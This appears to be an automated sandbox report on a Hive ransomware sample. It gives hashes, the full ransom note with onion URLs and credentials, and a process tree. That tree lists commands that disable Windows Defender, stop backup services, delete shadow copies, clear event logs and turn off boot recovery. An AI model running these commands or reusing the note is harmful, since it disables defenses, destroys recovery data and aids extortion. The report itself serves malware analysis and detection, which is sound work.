Analysis

  • max time kernel
    4294371s
  • max time network
    325s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    20-03-2022 00:34

General

  • Target

    89a9279a31e78ceb036d8be5b2e3c7aeb1021a05cff7bbd5e5025250c911234b.exe

  • Size

    4.0MB

  • MD5

    4659444b7bbab080d3234579ad0998b3

  • SHA1

    f0744f0825f967180eae995ce733d7b82ccb8db0

  • SHA256

    89a9279a31e78ceb036d8be5b2e3c7aeb1021a05cff7bbd5e5025250c911234b

  • SHA512

    601cb4f7be6742fef403efd67d581040a693204113ba6427e99c3789d76c423b340708c0bb7f84d638520a991485051b4b1dd6406f5a0f6e2ec353bdcd918258

Malware Config

Extracted

Path

C:\xG7b_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: wxvja8MijQ1u Password: HP1JW35zEJ22aScDZgmh To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.4g3j7 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 24 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\89a9279a31e78ceb036d8be5b2e3c7aeb1021a05cff7bbd5e5025250c911234b.exe
    "C:\Users\Admin\AppData\Local\Temp\89a9279a31e78ceb036d8be5b2e3c7aeb1021a05cff7bbd5e5025250c911234b.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:1084
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1876
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1816
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:1196
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:756
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1884
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1568
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:1780
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2004
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1984
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1972
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1056
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1996
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1740
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:1160
                      • C:\Windows\system32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:884
                        • C:\Windows\system32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1172
                          • C:\Windows\system32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1376
                            • C:\Windows\system32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:576
                              • C:\Windows\system32\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:868
                                • C:\Windows\system32\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:1756
                                  • C:\Windows\system32\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:1636
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:1316
                                      • C:\Windows\system32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:1592
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1092
                                          • C:\Windows\system32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:1920
                                            • C:\Windows\system32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:1192
                                              • C:\Windows\system32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1344
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:1912
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1980
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1964
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1864
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1528
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1672
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:112
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:904
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:1480
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:916
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:968
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:1600
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:1628
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1604
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:1800
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:1956
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1992
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:1692
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:1748
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:964
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:272
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1596
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:820
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:1216
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1068
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:1140
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:292
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:1620
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:864
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1696
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1392
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:520
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:2032
                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:2068
                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} recoveryenabled no
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:2088
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:2108
                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                          3⤵
                                                                                                          • Deletes Windows Defender Definitions
                                                                                                          PID:2128
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:2140
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2160
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          2⤵
                                                                                                            PID:2240
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:2260
                                                                                                          • C:\Windows\system32\notepad.exe
                                                                                                            notepad.exe C:\xG7b_HOW_TO_DECRYPT.txt
                                                                                                            2⤵
                                                                                                            • Opens file in notepad (likely ransom note)
                                                                                                            PID:2596
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\89a9279a31e78ceb036d8be5b2e3c7aeb1021a05cff7bbd5e5025250c911234b.exe"
                                                                                                            2⤵
                                                                                                              PID:2604
                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                ping.exe -n 5 127.0.0.1
                                                                                                                3⤵
                                                                                                                • Runs ping.exe
                                                                                                                PID:2628

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          • memory/864-54-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2160-65-0x000000000294B000-0x000000000296A000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB

                                                                                                          • memory/2160-58-0x000007FEF2D70000-0x000007FEF38CD000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2160-63-0x0000000002944000-0x0000000002947000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2160-62-0x0000000002942000-0x0000000002944000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2160-64-0x000000001B800000-0x000000001BAFF000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.0MB

                                                                                                          • memory/2160-60-0x0000000002940000-0x0000000002942000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2160-59-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

                                                                                                            Filesize

                                                                                                            9.6MB

                                                                                                          • memory/2160-61-0x000007FEF51E0000-0x000007FEF5B7D000-memory.dmp

                                                                                                            Filesize

                                                                                                            9.6MB

                                                                                                          • memory/2260-68-0x000007FEF23D0000-0x000007FEF2F2D000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2260-70-0x00000000028C0000-0x00000000028C2000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2260-71-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.0MB

                                                                                                          • memory/2260-72-0x000007FEF4840000-0x000007FEF51DD000-memory.dmp

                                                                                                            Filesize

                                                                                                            9.6MB

                                                                                                          • memory/2260-74-0x00000000028C2000-0x00000000028C4000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2260-73-0x00000000028CB000-0x00000000028EA000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB

                                                                                                          • memory/2260-75-0x00000000028C4000-0x00000000028C7000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2260-69-0x000007FEF4840000-0x000007FEF51DD000-memory.dmp

                                                                                                            Filesize

                                                                                                            9.6MB